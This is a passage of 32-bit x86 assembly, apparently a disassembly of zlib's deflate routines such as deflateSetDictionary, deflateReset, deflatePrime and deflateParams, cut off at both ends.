%eax leal -3(%edi), %edx movl 5796(%ebx), %ecx movw $1, (%ecx,%eax,2) movl 5784(%ebx), %ecx movb %dl, (%ecx,%eax) movzbl %dl, %edx addl $1, %eax movzbl _length_code(%edx), %edx xorl %ecx, %ecx movl %eax, 5792(%ebx) addw $1, 1176(%ebx,%edx,4) addw $1, 2440(%ebx,%esi,4) movl 5788(%ebx), %edx subl $1, %edx cmpl %edx, %eax movl 96(%ebx), %edx movl 116(%ebx), %eax sete %cl movl $0, 96(%ebx) subl %edx, %eax addl 108(%ebx), %edx testl %ecx, %ecx movl %eax, 116(%ebx) movl %edx, 108(%ebx) je .L000013AE .L00001531: movl 92(%ebx), %eax xorl %ecx, %ecx subl %eax, %edx testl %eax, %eax js .L00001541 .L0000153C: movl 56(%ebx), %ecx addl %eax, %ecx .L00001541: movl %ecx, 4(%esp) movl %edx, 8(%esp) movl $0, 12(%esp) movl %ebx, (%esp) call _tr_flush_block .L00001559: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L00001566: movl (%ebx), %eax movl 16(%eax), %ecx testl %ecx, %ecx jne .L00001314 .L00001573: xorl %eax, %eax .L00001575: addl $60, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L0000157D: cmpl $258, %eax jbe .L00001573 .L00001584: testl %eax, %eax jne .L000013D7 .L0000158C: cmpl $4, 32(%esp) movl $0, 5812(%ebx) je .L00001602 .L0000159D: movl 5792(%ebx), %edx movl $1, %eax testl %edx, %edx je .L00001575 .L000015AC: movl 92(%ebx), %edx xorl %ecx, %ecx movl 108(%ebx), %eax subl %edx, %eax testl %edx, %edx js .L000015BF .L000015BA: movl 56(%ebx), %ecx addl %edx, %ecx .L000015BF: movl %eax, 8(%esp) movl %ecx, 4(%esp) movl %ebx, (%esp) movl $0, 12(%esp) call _tr_flush_block .L000015D7: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L000015E4: movl (%ebx), %eax movl 16(%eax), %ebp xorl %eax, %eax testl %ebp, %ebp setne %al addl $60, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L000015F8: movl %eax, 96(%ebx) movl %eax, %edi jmp .L000014BE .L00001602: movl 92(%ebx), %edx xorl %ecx, %ecx movl 108(%ebx), %eax subl %edx, %eax testl %edx, %edx js .L00001615 .L00001610: movl 56(%ebx), %ecx addl %edx, %ecx .L00001615: movl %eax, 8(%esp) movl %ecx, 4(%esp) movl %ebx, (%esp) movl $1, 12(%esp) call _tr_flush_block .L0000162D: movl 108(%ebx), %eax movl %eax, 92(%ebx) movl (%ebx), %eax call flush_pending .L0000163A: movl (%ebx), %eax cmpl $1, 16(%eax) sbbl %eax, %eax addl $60, %esp popl %ebx addl $3, %eax popl %esi popl %edi popl %ebp ret .L0000164D: movl 40(%esp), %edx movl 44(%esp), %eax jmp .L000014A0 .size deflate_rle, .-deflate_rle # ---------------------- .L0000165A: .p2align 3 # ---------------------- .globl deflateSetDictionary .type deflateSetDictionary, @function deflateSetDictionary: pushl %ebp pushl %edi pushl %esi pushl %ebx subl $76, %esp movl 96(%esp), %ecx movl 100(%esp), %esi movl 104(%esp), %edi testl %ecx, %ecx je .L00001896 .L0000167B: movl 96(%esp), %edx testl %esi, %esi movl 28(%edx), %ebx je .L00001896 .L0000168A: testl %ebx, %ebx je .L00001896 .L00001692: movl 24(%ebx), %ebp cmpl $2, %ebp movl %ebp, 52(%esp) je .L00001896 .L000016A2: cmpl $1, %ebp je .L00001820 .L000016AB: movl 116(%ebx), %edx movl $-2, %eax testl %edx, %edx jne .L00001805 .L000016BB: cmpl $1, 52(%esp) je .L00001873 .L000016C6: movl 44(%ebx), %eax movl $0, 24(%ebx) cmpl %eax, %edi jae .L0000180D .L000016D8: movl 96(%esp), %edx movl 96(%esp), %ebp movl 4(%edx), %edx movl (%ebp), %ebp movl %edx, 56(%esp) movl 96(%esp), %edx movl %ebp, 60(%esp) movl %edi, 4(%edx) movl %esi, (%edx) .p2align 3 .L000016F8: movl %ebx, %eax call fill_window .L000016FF: movl 116(%ebx), %ebp cmpl $2, %ebp movl %ebp, 44(%esp) jbe .L000017B8 .L0000170F: movl 56(%ebx), %edx movl 84(%ebx), %ebp movl 108(%ebx), %eax movl 44(%esp), %esi movl %edx, 24(%esp) movl 64(%ebx), %edx movl 88(%ebx), %ecx movl %ebp, 28(%esp) movl 52(%ebx), %ebp movl %eax, 48(%esp) movl 72(%ebx), %eax subl $2, %esi movl %edx, 32(%esp) movl 68(%ebx), %edx movl %ebx, 20(%esp) movl %ebp, 36(%esp) movl %ecx, 16(%esp) movl %edx, 40(%esp) movl 48(%esp), %edx .p2align 3 .L00001758: movl 24(%esp), %ebx movzbl 16(%esp), %ecx movl 40(%esp), %ebp movzbl 2(%ebx,%edx), %edi sall %cl, %eax movl 20(%esp), %ebx xorl %edi, %eax andl 28(%esp), %eax leal (%ebp,%eax,2), %edi movl 36(%esp), %ebp movl %eax, 72(%ebx) movzwl (%edi), %ecx movl 32(%esp), %ebx andl %edx, %ebp movw %cx, (%ebx,%ebp,2) movw %dx, (%edi) addl $1, %edx subl $1, %esi jne .L00001758 .L00001799: movl 44(%esp), %edx movl 48(%esp), %ebp movl 20(%esp), %ebx leal -2(%edx,%ebp), %eax movl %eax, 108(%ebx) movl $2, 116(%ebx) jmp .L000016F8 .L000017B8: movl 44(%esp), %eax addl 108(%ebx), %eax movl 96(%esp), %edx movl 60(%esp), %ebp movl %eax, 108(%ebx) movl %eax, 92(%ebx) movl 44(%esp), %eax movl $0, 116(%ebx) movl $2, 120(%ebx) movl $2, 96(%ebx) movl %eax, 5812(%ebx) xorl %eax, %eax movl $0, 104(%ebx) movl %ebp, (%edx) movl 56(%esp), %ebp movl %ebp, 4(%edx) movl 52(%esp), %edx movl %edx, 24(%ebx) .L00001805: addl $76, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L0000180D: movl 52(%esp), %ebp testl %ebp, %ebp je .L00001831 .L00001815: subl %eax, %edi addl %edi, %esi movl %eax, %edi jmp .L000016D8 .L00001820: cmpl $42, 4(%ebx) movl $-2, %eax je .L000016AB .L0000182F: jmp .L00001805 .L00001831: movl 76(%ebx), %edx movl 68(%ebx), %eax movw $0, -2(%eax,%edx,2) leal -2(%edx,%edx), %edx movl %edx, 8(%esp) movl $0, 4(%esp) movl %eax, (%esp) call memset .L00001856: movl 44(%ebx), %eax movl $0, 108(%ebx) movl $0, 92(%ebx) movl $0, 5812(%ebx) jmp .L00001815 .L00001873: movl 96(%esp), %edx movl %edi, 8(%esp) movl %esi, 4(%esp) movl 48(%edx), %eax movl %eax, (%esp) call adler32 .L0000188A: movl 96(%esp), %ebp movl %eax, 48(%ebp) jmp .L000016C6 .L00001896: movl $-2, %eax jmp .L00001805 .size deflateSetDictionary, .-deflateSetDictionary # ---------------------- .globl deflateResetKeep .type deflateResetKeep, @function deflateResetKeep: pushl %esi pushl %ebx subl $20, %esp movl 32(%esp), %ebx testl %ebx, %ebx je .L00001978 .L000018B1: movl 28(%ebx), %esi testl %esi, %esi je .L00001978 .L000018BC: movl 32(%ebx), %eax testl %eax, %eax je .L00001978 .L000018C7: movl 36(%ebx), %eax testl %eax, %eax je .L00001978 .L000018D2: movl 8(%esi), %eax movl $0, 20(%ebx) movl $0, 8(%ebx) movl $0, 24(%ebx) movl $2, 44(%ebx) movl %eax, 16(%esi) movl 24(%esi), %eax movl $0, 20(%esi) cmpl $0, %eax jl .L00001948 .L00001903: jne .L0000194D .L00001905: movl $113, 4(%esi) .L0000190C: movl $0, 8(%esp) movl $0, 4(%esp) movl $0, (%esp) call adler32 .L00001928: movl %eax, 48(%ebx) movl $0, 40(%esi) movl %esi, (%esp) call _tr_init .L0000193A: xorl %eax, %eax .L0000193C: addl $20, %esp popl %ebx popl %esi ret .L00001942: .p2align 3 .L00001948: negl %eax movl %eax, 24(%esi) .L0000194D: cmpl $2, %eax movl $42, 4(%esi) jne .L0000190C .L00001959: movl $0, 8(%esp) movl $0, 4(%esp) movl $0, (%esp) call crc32 .L00001975: jmp .L00001928 .L00001977: .p2align 3 .L00001978: movl $-2, %eax jmp .L0000193C .size deflateResetKeep, .-deflateResetKeep # ---------------------- .L0000197F: .p2align 3 # ---------------------- .globl deflateReset .type deflateReset, @function deflateReset: subl $28, %esp movl %esi, 24(%esp) movl 32(%esp), %esi movl %ebx, 20(%esp) movl %esi, (%esp) call deflateResetKeep .L00001997: testl %eax, %eax movl %eax, %ebx jne .L000019A5 .L0000199D: movl 28(%esi), %eax call lm_init .L000019A5: movl %ebx, %eax movl 24(%esp), %esi movl 20(%esp), %ebx addl $28, %esp ret .size deflateReset, .-deflateReset # ---------------------- .L000019B3: .p2align 4 # ---------------------- .globl deflateSetHeader .type deflateSetHeader, @function deflateSetHeader: movl 4(%esp), %eax testl %eax, %eax je .L000019EA .L000019C8: movl 28(%eax), %edx movl $-2, %eax testl %edx, %edx je .L000019E8 .L000019D4: cmpl $2, 24(%edx) jne .L000019E8 .L000019DA: movl 8(%esp), %eax movl %eax, 28(%edx) xorl %eax, %eax ret .L000019E4: .p2align 3 .L000019E8: rep; ret .L000019EA: movl $-2, %eax ret .size deflateSetHeader, .-deflateSetHeader # ---------------------- .globl deflatePending .type deflatePending, @function deflatePending: pushl %ebx movl 8(%esp), %eax movl 12(%esp), %ebx movl 16(%esp), %ecx testl %eax, %eax je .L00001A28 .L00001A01: movl 28(%eax), %edx testl %edx, %edx je .L00001A28 .L00001A08: testl %ebx, %ebx je .L00001A11 .L00001A0C: movl 20(%edx), %eax movl %eax, (%ebx) .L00001A11: xorl %eax, %eax testl %ecx, %ecx je .L00001A1F .L00001A17: movl 5820(%edx), %edx movl %edx, (%ecx) .L00001A1F: popl %ebx ret .L00001A21: .p2align 3 .L00001A28: movl $-2, %eax popl %ebx ret .size deflatePending, .-deflatePending # ---------------------- .L00001A2F: .p2align 3 # ---------------------- .globl deflatePrime .type deflatePrime, @function deflatePrime: pushl %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 48(%esp), %eax movl 52(%esp), %edi movl 56(%esp), %ebp testl %eax, %eax je .L00001AB5 .L00001A47: movl 28(%eax), %esi testl %esi, %esi je .L00001AB5 .L00001A4E: movl 16(%esi), %edx movl $-5, %eax addl $2, %edx cmpl %edx, 5796(%esi) jb .L00001AAD .L00001A61: .p2align 3 .L00001A68: movl 5820(%esi), %edx movl $16, %ebx movl $1, %eax subl %edx, %ebx cmpl %ebx, %edi cmovle %edi, %ebx movl %ebx, %ecx sall %cl, %eax movl %edx, %ecx subl $1, %eax addl %ebx, %edx andl %ebp, %eax sall %cl, %eax orw %ax, 5816(%esi) movl %edx, 5820(%esi) movl %esi, (%esp) call _tr_flush_bits .L00001AA3: movl %ebx, %ecx sarl %cl, %ebp subl %ebx, %edi jne .L00001A68 .L00001AAB: xorl %eax, %eax .L00001AAD: addl $28, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L00001AB5: movl $-2, %eax jmp .L00001AAD .size deflatePrime, .-deflatePrime # ---------------------- .L00001ABC: .p2align 3 # ---------------------- .globl deflateParams .type deflateParams, @function deflateParams: pushl %ebp pushl %edi pushl %esi pushl %ebx subl $44, %esp movl 64(%esp), %edi movl 68(%esp), %esi testl %edi, %edi je .L00001F08 .L00001AD7: movl 28(%edi), %ebx testl %ebx, %ebx je .L00001F08 .L00001AE2: cmpl $-1, %esi je .L00001B98 .L00001AEB: cmpl $9, %esi ja .L00001F08 .L00001AF4: movl 72(%esp), %eax shrl $31, %eax testb %al, %al jne .L00001F08 .L00001B03: cmpl $4, 72(%esp) movl $-2, %eax jg .L00001B8D .L00001B0F: movl 132(%ebx), %edx movl 72(%esp), %ecx leal (%edx,%edx,2), %eax movl configuration_table+8(,%eax,4), %eax movl %eax, 16(%esp) movl 136(%ebx), %eax cmpl %ecx, %eax movl %eax, 24(%esp) je .L00001BA8 .L00001B35: movl 8(%edi), %ecx xorl %eax, %eax testl %ecx, %ecx jne .L00001BC7 .L00001B42: cmpl %edx, %esi je .L00001B83 .L00001B46: leal (%esi,%esi,2), %ecx sall $2, %ecx leal configuration_table(%ecx), %edx movl %esi, 132(%ebx) movzwl configuration_table+2(%ecx), %esi movzwl configuration_table(%ecx), %ecx movl %esi, 128(%ebx) movl %ecx, 140(%ebx) movzwl 4(%edx), %ecx movzwl 6(%edx), %edx movl %ecx, 144(%ebx) movl %edx, 124(%ebx) .L00001B83: movl 72(%esp), %ecx movl %ecx, 136(%ebx) .L00001B8D: addl $44, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L00001B95: .p2align 3 .L00001B98: movl $6, %esi jmp .L00001AF4 .L00001BA2: .p2align 3 .L00001BA8: leal (%esi,%esi,2), %ebp movl 16(%esp), %ecx xorl %eax, %eax cmpl %ecx, configuration_table+8(,%ebp,4) je .L00001B42 .L00001BBA: movl 8(%edi), %ecx xorl %eax, %eax testl %ecx, %ecx je .L00001B42 .L00001BC7: movl 12(%edi), %eax testl %eax, %eax je .L00002048 .L00001BD2: movl (%edi), %eax testl %eax, %eax je .L00002038 .L00001BDC: movl 4(%ebx), %ebp cmpl $666, %ebp je .L00002048 .L00001BEB: movl 16(%edi), %eax testl %eax, %eax je .L0000224E .L00001BF6: movl 40(%ebx), %ecx cmpl $42, %ebp movl %edi, (%ebx) movl $5, 40(%ebx) movl %ecx, 16(%esp) je .L00001CE0 .L00001C0F: cmpl $69, %ebp je .L00001DB8 .L00001C18: movl 20(%ebx), %eax .L00001C1B: cmpl $73, %ebp je .L00002030 .L00001C24: cmpl $91, %ebp je .L000020F0 .L00001C2D: cmpl $103, %ebp je .L00002080 .L00001C36: testl %eax, %eax jne .L00001EE8 .L00001C3E: movl 4(%edi), %eax testl %eax, %eax jne .L00001C62 .L00001C45: movl 16(%esp), %edx xorl %ecx, %ecx addl %edx, %edx cmpl $5, 16(%esp) setge %cl leal (%ecx,%ecx,8), %ecx subl %ecx, %edx testl %edx, %edx jg .L0000243C .L00001C62: movl 4(%ebx), %edx cmpl $666, %edx je .L00001EC0 .L00001C71: testl %eax, %eax je .L00001EC8 .L00001C79: movl 136(%ebx), %eax cmpl $2, %eax je .L000021C0 .L00001C88: cmpl $3, %eax je .L00002018 .L00001C91: movl 132(%ebx), %eax movl $5, 4(%esp) movl %ebx, (%esp) leal (%eax,%eax,2), %eax call *configuration_table+8(,%eax,4) .L00001CAC: leal -2(%eax), %edx cmpl $1, %edx jbe .L00002008 .L00001CB8: cmpl $2, %eax je .L00001CC5 .L00001CBD: testl %eax, %eax jne .L00001E50 .L00001CC5: movl 16(%edi), %eax testl %eax, %eax je .L00001EF6 .L00001CD0: movl 132(%ebx), %edx xorl %eax, %eax jmp .L00001B42 .L00001CDD: .p2align 3 .L00001CE0: cmpl $2, 24(%ebx) je .L00002280 .L00001CEA: movl 48(%ebx), %eax sall $12, %eax leal -30720(%eax), %ebp xorl %eax, %eax cmpl $1, 24(%esp) jle .L00001F98 .L00001D03: movl %eax, %ecx movl $138547333, %edx orl %ebp, %ecx movl 108(%ebx), %ebp movl %ecx, %eax orl $32, %eax movl $113, 4(%ebx) testl %ebp, %ebp movl 8(%ebx), %ebp cmovne %eax, %ecx movl %ecx, %eax mull %edx subl %edx, %ecx shrl $1, %ecx addl %ecx, %edx shrl $4, %edx movl %edx, %eax sall $5, %eax subl %edx, %eax leal 31(%eax), %edx movl 20(%ebx), %eax movl %edx, %ecx shrl $8, %ecx movb %cl, (%ebp,%eax) movl 8(%ebx), %ecx movb %dl, 1(%ecx,%eax) leal 2(%eax), %edx movl %edx, 20(%ebx) movl 108(%ebx), %edx testl %edx, %edx je .L00001D90 .L00001D5A: movl 48(%edi), %edx movl 8(%ebx), %ebp movl %edx, %ecx shrl $24, %edx movb %dl, 2(%ebp,%eax) movl 8(%ebx), %edx shrl $16, %ecx movb %cl, 3(%edx,%eax) movzwl 48(%edi), %edx movl 8(%ebx), %ebp movl %edx, %ecx shrl $8, %ecx movb %cl, 4(%ebp,%eax) movl 8(%ebx), %ecx movb %dl, 5(%ecx,%eax) addl $6, %eax movl %eax, 20(%ebx) .L00001D90: movl $0, 8(%esp) movl $0, 4(%esp) movl $0, (%esp) call adler32 .L00001DAC: movl 4(%ebx), %ebp movl %eax, 48(%edi) jmp .L00001C0F .L00001DB7: .p2align 3 .L00001DB8: movl 28(%ebx), %eax movl %eax, 20(%esp) movl 20(%ebx), %eax .L00001DC2: movl 20(%esp), %edx movl 16(%edx), %ecx testl %ecx, %ecx je .L0000222A .L00001DD1: movl 32(%ebx), %ecx movzwl 20(%edx), %ebp movl %eax, 24(%esp) cmpl %ebp, %ecx jae .L00001E70 .L00001DE4: movl %esi, 28(%esp) movl %eax, %ebp movl %edx, %esi jmp .L00001E19 .L00001DEE: .p2align 3 .L00001DF0: movl 16(%esi), %edx movzbl (%edx,%ecx), %ecx movl 8(%ebx), %edx movb %cl, (%edx,%eax) movl 28(%ebx), %edx addl $1, %eax movl 32(%ebx), %ecx movl %eax, 20(%ebx) movzwl 20(%edx), %esi addl $1, %ecx movl %ecx, 32(%ebx) cmpl %esi, %ecx jae .L00001E68 .L00001E17: movl %edx, %esi .L00001E19: cmpl %eax, 12(%ebx) jne .L00001DF0 .L00001E1E: movl 44(%edx), %edx testl %edx, %edx je .L00001E2D .L00001E25: cmpl %eax, %ebp jb .L00002060 .L00001E2D: movl %edi, %eax call flush_pending .L00001E34: movl 20(%ebx), %ebp cmpl 12(%ebx), %ebp je .L00002218 .L00001E40: movl 28(%ebx), %esi movl %ebp, %eax movl 32(%ebx), %ecx jmp .L00001DF0 .L00001E4A: .p2align 3 .L00001E50: cmpl $1, %eax jne .L00001CD0 .L00001E59: movl %edi, %eax call flush_pending .L00001E60: jmp .L00001CC5 .L00001E65: .p2align 3 .L00001E68: movl 28(%esp), %esi movl %ebp, 24(%esp) .L00001E70: movl 44(%edx), %ebp testl %ebp, %ebp je .L00001EA8 .L00001E77: cmpl %eax, 24(%esp) jae .L00001EA8 .L00001E7D: subl 24(%esp), %eax movl %eax, 8(%esp) movl 24(%esp), %eax addl 8(%ebx), %eax movl %eax, 4(%esp) movl 48(%edi), %eax movl %eax, (%esp) call crc32 .L00001E9B: movl 28(%ebx), %edx movl %eax, 48(%edi) .p2align 3 .L00001EA8: movl 20(%edx), %ecx cmpl %ecx, 32(%ebx) je .L00001F20 .L00001EB0: movl 4(%ebx), %ebp movl 20(%ebx), %eax jmp .L00001C1B .L00001EBB: .p2align 3 .L00001EC0: testl %eax, %eax jne .L00001FBE .L00001EC8: movl 116(%ebx), %eax testl %eax, %eax jne .L00001C79 .L00001ED3: cmpl $666, %edx jne .L00001C79 .L00001EDF: jmp .L00001CD0 .L00001EE4: .p2align 3 .L00001EE8: movl %edi, %eax call flush_pending .L00001EEF: movl 16(%edi), %eax testl %eax, %eax jne .L00001F18 .L00001EF6: movl $-1, 40(%ebx) jmp .L00001CD0 .L00001F02: .p2align 3 .L00001F08: movl $-2, %eax jmp .L00001B8D .L00001F12: .p2align 3 .L00001F18: movl 4(%edi), %eax jmp .L00001C62 .L00001F20: movl 20(%ebx), %eax movl $0, 32(%ebx) movl $73, 4(%ebx) .L00001F31: movl 28(%edx), %ecx testl %ecx, %ecx je .L00002236 .L00001F3C: movl %eax, %ecx jmp .L00001F64 .L00001F40: movl 32(%ebx), %ebp movl 28(%edx), %edx movzbl (%edx,%ebp), %edx addl $1, %ebp movl %ebp, 32(%ebx) movl 8(%ebx), %ebp movb %dl, (%ebp,%ecx) addl $1, %ecx testb %dl, %dl movl %ecx, 20(%ebx) je .L00001FE0 .L00001F61: movl 28(%ebx), %edx .L00001F64: cmpl %ecx, 12(%ebx) jne .L00001F40 .L00001F69: movl 44(%edx), %ebp testl %ebp, %ebp je .L00001F78 .L00001F70: cmpl %eax, %ecx ja .L000021D8 .L00001F78: movl %edi, %eax call flush_pending .L00001F7F: movl 20(%ebx), %eax cmpl 12(%ebx), %eax je .L00002424 .L00001F8B: movl 28(%ebx), %edx movl %eax, %ecx jmp .L00001F40 .L00001F92: .p2align 3 .L00001F98: cmpl $1, %edx jle .L00001D03 .L00001FA1: cmpl $5, %edx movb $64, %al jle .L00001D03 .L00001FAC: cmpl $6, %edx movb $192, %al movl $128, %edx cmove %edx, %eax jmp .L00001D03 .L00001FBE: movl z_errmsg+28, %eax movl 132(%ebx), %edx movl %eax, 24(%edi) movl 20(%ebx), %eax .p2align 3 .L00001FD0: cmpl $1, %eax sbbl %eax, %eax notl %eax andl $-5, %eax jmp .L00001B42 .L00001FDF: .p2align 3 .L00001FE0: xorl %ebp, %ebp .L00001FE2: movl 28(%ebx), %edx movl 44(%edx), %edx testl %edx, %edx je .L00001FF4 .L00001FEC: cmpl %ecx, %eax jb .L00002404 .L00001FF4: testl %ebp, %ebp je .L00002188 .L00001FFC: movl 4(%ebx), %ebp movl 20(%ebx), %eax jmp .L00001C24 .L00002007: .p2align 3 .L00002008: movl $666, 4(%ebx) jmp .L00001CB8 .L00002014: .p2align 3 .L00002018: movl $5, %edx movl %ebx, %eax call deflate_rle .L00002024: jmp .L00001CAC .L00002029: .p2align 4 .L00002030: movl 28(%ebx), %edx jmp .L00001F31 .L00002038: movl 4(%edi), %eax testl %eax, %eax .p2align 3 je .L00001BDC .L00002046: .p2align 3 .L00002048: movl z_errmsg+16, %eax movl %eax, 24(%edi) movl $-2, %eax jmp .L00001B42 .L0000205A: .p2align 3 .L00002060: subl %ebp, %eax movl %eax, 8(%esp) addl 8(%ebx), %ebp movl %ebp, 4(%esp) movl 48(%edi), %eax movl %eax, (%esp) call crc32 .L00002078: movl %eax, 48(%edi) jmp .L00001E2D .L00002080: movl 28(%ebx), %edx .L00002083: movl 44(%edx), %edx testl %edx, %edx je .L000020E0 .L0000208A: leal 2(%eax), %edx cmpl 12(%ebx), %edx ja .L0000225E .L00002096: movzbl 48(%edi), %ecx movl 8(%ebx), %ebp movb %cl, (%ebp,%eax) movl 48(%edi), %ecx movl 8(%ebx), %ebp shrl $8, %ecx movb %cl, 1(%ebp,%eax) movl %edx, 20(%ebx) movl $0, 8(%esp) movl $0, 4(%esp) movl $0, (%esp) call crc32 .L000020CD: movl %eax, 48(%edi) movl 20(%ebx), %eax movl $113, 4(%ebx) jmp .L00001C36 .L000020DF: .p2align 3 .L000020E0: movl $113, 4(%ebx) jmp .L00001C36 .L000020EC: .p2align 3 .L000020F0: movl 28(%ebx), %edx .L000020F3: movl 36(%edx), %ecx testl %ecx, %ecx je .L00002242 .L000020FE: movl %eax, %ecx jmp .L0000212C .L00002102: .p2align 3 .L00002108: movl 32(%ebx), %ebp movl 36(%edx), %edx movzbl (%edx,%ebp), %edx addl $1, %ebp movl %ebp, 32(%ebx) movl 8(%ebx), %ebp movb %dl, (%ebp,%ecx) addl $1, %ecx testb %dl, %dl movl %ecx, 20(%ebx) je .L00002160 .L00002129: movl 28(%ebx), %edx .L0000212C: cmpl %ecx, 12(%ebx) jne .L00002108 .L00002131: movl 44(%edx), %ebp testl %ebp, %ebp je .L00002140 .L00002138: cmpl %eax, %ecx ja .L000021F8 .L00002140: movl %edi, %eax call flush_pending .L00002147: movl 20(%ebx), %eax cmpl 12(%ebx), %eax je .L00002430 .L00002153: movl 28(%ebx), %edx movl %eax, %ecx jmp .L00002108 .L0000215A: .p2align 3 .L00002160: xorl %ebp, %ebp .L00002162: movl 28(%ebx), %edx movl 44(%edx), %edx testl %edx, %edx je .L00002174 .L0000216C: cmpl %ecx, %eax jb .L000023E4 .L00002174: testl %ebp, %ebp je .L000021A8 .L00002178: movl 4(%ebx), %ebp movl 20(%ebx), %eax jmp .L00001C2D .L00002183: .p2align 3 .L00002188: movl $0, 32(%ebx) movl 28(%ebx), %edx movl $91, 4(%ebx) movl 20(%ebx), %eax jmp .L000020F3 .L000021A1: .p2align 3 .L000021A8: movl $103, 4(%ebx) movl 28(%ebx), %edx movl 20(%ebx), %eax jmp .L00002083 .L000021BA: .p2align 3 .L000021C0: movl $5, %edx movl %ebx, %eax call deflate_huff .L000021CC: jmp .L00001CAC .L000021D1: .p2align 3 .L000021D8: subl %eax, %ecx movl %ecx, 8(%esp) addl 8(%ebx), %eax movl %eax, 4(%esp) movl 48(%edi), %eax movl %eax, (%esp) call crc32 .L000021F0: movl %eax, 48(%edi) jmp .L00001F78 .L000021F8: subl %eax, %ecx movl %ecx, 8(%esp) addl 8(%ebx), %eax movl %eax, 4(%esp) movl 48(%edi), %eax movl %eax, (%esp) call crc32 .L00002210: movl %eax, 48(%edi) jmp .L00002140 .L00002218: movl %ebp, 24(%esp) movl 28(%esp), %esi movl %ebp, %eax movl 28(%ebx), %edx jmp .L00001E70 .L0000222A: movl $73, 4(%ebx) jmp .L00001F31 .L00002236: movl $91, 4(%ebx) jmp .L000020F3 .L00002242: movl $103, 4(%ebx) jmp .L00002083 .L0000224E: movl z_errmsg+28, %eax movl %eax, 24(%edi) movl 20(%ebx), %eax jmp .L00001FD0 .L0000225E: movl %edi, %eax call flush_pending .L00002265: movl 20(%ebx), %eax leal 2(%eax), %edx cmpl 12(%ebx), %edx ja .L00001C36 .L00002274: jmp .L00002096 .L00002279: .p2align 4 .L00002280: movl $0, 8(%esp) movl $0, 4(%esp) movl $0, (%esp) call crc32 .L0000229C: movl 20(%ebx), %edx movl %eax, 48(%edi) movl 8(%ebx), %eax movb $31, (%eax,%edx) movl 8(%ebx), %eax movb $139, 1(%eax,%edx) movl 8(%ebx), %eax movb $8, 2(%eax,%edx) movl 28(%ebx), %ecx leal 3(%edx), %eax movl %eax, 20(%ebx) testl %ecx, %ecx je .L00002487 .L000022CA: addl 8(%ebx), %eax movl %eax, 20(%esp) movl (%ecx), %eax testl %eax, %eax setne %al cmpl $1, 44(%ecx) movl %eax, %ebp sbbl %eax, %eax notl %eax andl $2, %eax addl %eax, %ebp cmpl $1, 16(%ecx) sbbl %eax, %eax notl %eax andl $4, %eax addl %eax, %ebp cmpl $1, 28(%ecx) sbbl %eax, %eax notl %eax andl $8, %eax addl %eax, %ebp cmpl $1, 36(%ecx) movl 20(%esp), %ecx sbbl %eax, %eax notl %eax andl $16, %eax addl %ebp, %eax movb %al, (%ecx) movl 28(%ebx), %eax movl 8(%ebx), %ecx movl 4(%eax), %eax movb %al, 4(%ecx,%edx) movl 28(%ebx), %eax movl 8(%ebx), %ecx movl 4(%eax), %eax shrl $8, %eax movb %al, 5(%ecx,%edx) movl 28(%ebx), %eax movl 8(%ebx), %ecx movzwl 6(%eax), %eax movb %al, 6(%ecx,%edx) movl 28(%ebx), %eax movl 8(%ebx), %ecx movzbl 7(%eax), %eax movb %al, 7(%ecx,%edx) movl 132(%ebx), %ebp leal 8(%edx), %ecx movl %ecx, 20(%ebx) movl $2, %eax addl 8(%ebx), %ecx cmpl $9, %ebp je .L00002378 .L00002366: cmpl $1, 136(%ebx) movl $4, %eax jle .L00002479 .L00002378: movb %al, (%ecx) movl 28(%ebx), %eax movl 8(%ebx), %ecx movl 12(%eax), %eax movb %al, 9(%ecx,%edx) movl 28(%ebx), %ecx leal 10(%edx), %eax movl %eax, 20(%ebx) movl 16(%ecx), %ebp movl %ecx, 20(%esp) testl %ebp, %ebp je .L000023C6 .L0000239B: movl %ecx, %ebp movl 8(%ebx), %ecx movl 20(%ebp), %eax movb %al, 10(%ecx,%edx) movl 28(%ebx), %eax movl 8(%ebx), %ecx movl 20(%eax), %eax shrl $8, %eax movb %al, 11(%ecx,%edx) leal 12(%edx), %eax movl 28(%ebx), %edx movl %eax, 20(%ebx) movl %edx, 20(%esp) movl %edx, %ecx .L000023C6: movl 44(%ecx), %ecx testl %ecx, %ecx jne .L00002451 .L000023D1: movl $0, 32(%ebx) movl $69, 4(%ebx) jmp .L00001DC2 .L000023E4: subl %eax, %ecx movl %ecx, 8(%esp) addl 8(%ebx), %eax movl %eax, 4(%esp) movl 48(%edi), %eax movl %eax, (%esp) call crc32 .L000023FC: movl %eax, 48(%edi) jmp .L00002174 .L00002404: subl %eax, %ecx movl %ecx, 8(%esp) addl 8(%ebx), %eax movl %eax, 4(%esp) movl 48(%edi), %eax movl %eax, (%esp) call crc32 .L0000241C: movl %eax, 48(%edi) jmp .L00001FF4 .L00002424: movl %eax, %ecx movl $1, %ebp jmp .L00001FE2 .L00002430: movl %eax, %ecx movl $1, %ebp jmp .L00002162 .L0000243C: movl z_errmsg+28, %eax movl 132(%ebx), %edx movl %eax, 24(%edi) xorl %eax, %eax jmp .L00001B42 .L00002451: movl %eax, 8(%esp) movl 8(%ebx), %eax movl %eax, 4(%esp) movl 48(%edi), %eax movl %eax, (%esp) call crc32 .L00002467: movl %eax, 48(%edi) movl 28(%ebx), %eax movl %eax, 20(%esp) movl 20(%ebx), %eax jmp .L000023D1 .L00002479: cmpl $1, %ebp setle %al sall $2, %eax jmp .L00002378 .L00002487: movl 8(%ebx), %eax leal 8(%edx), %ebp movb $0, 3(%eax,%edx) movl 8(%ebx), %eax movb $0, 4(%eax,%edx) movl 8(%ebx), %eax movb $0, 5(%eax,%edx) movl 8(%ebx), %eax movb $0, 6(%eax,%edx) movl 8(%ebx), %eax movb $0, 7(%eax,%edx) movl 132(%ebx), %ecx movl $2, %eax movl %ebp, 20(%ebx) addl 8(%ebx), %ebp cmpl $9, %ecx je .L000024D6 .L000024C8: cmpl $1, 136(%ebx) movl $4, %eax jle .L000024F3 .L000024D6: movb %al, (%ebp) movl 8(%ebx), %eax movb $3, 9(%eax,%edx) leal 10(%edx), %eax movl %eax, 20(%ebx) movl $113, 4(%ebx) jmp .L00001C36 .L000024F3: subl $1, %ecx setle %al sall $2, %eax jmp .L000024D6 .size deflateParams, .-deflateParams # ---------------------- .L000024FE: .p2align 3 # 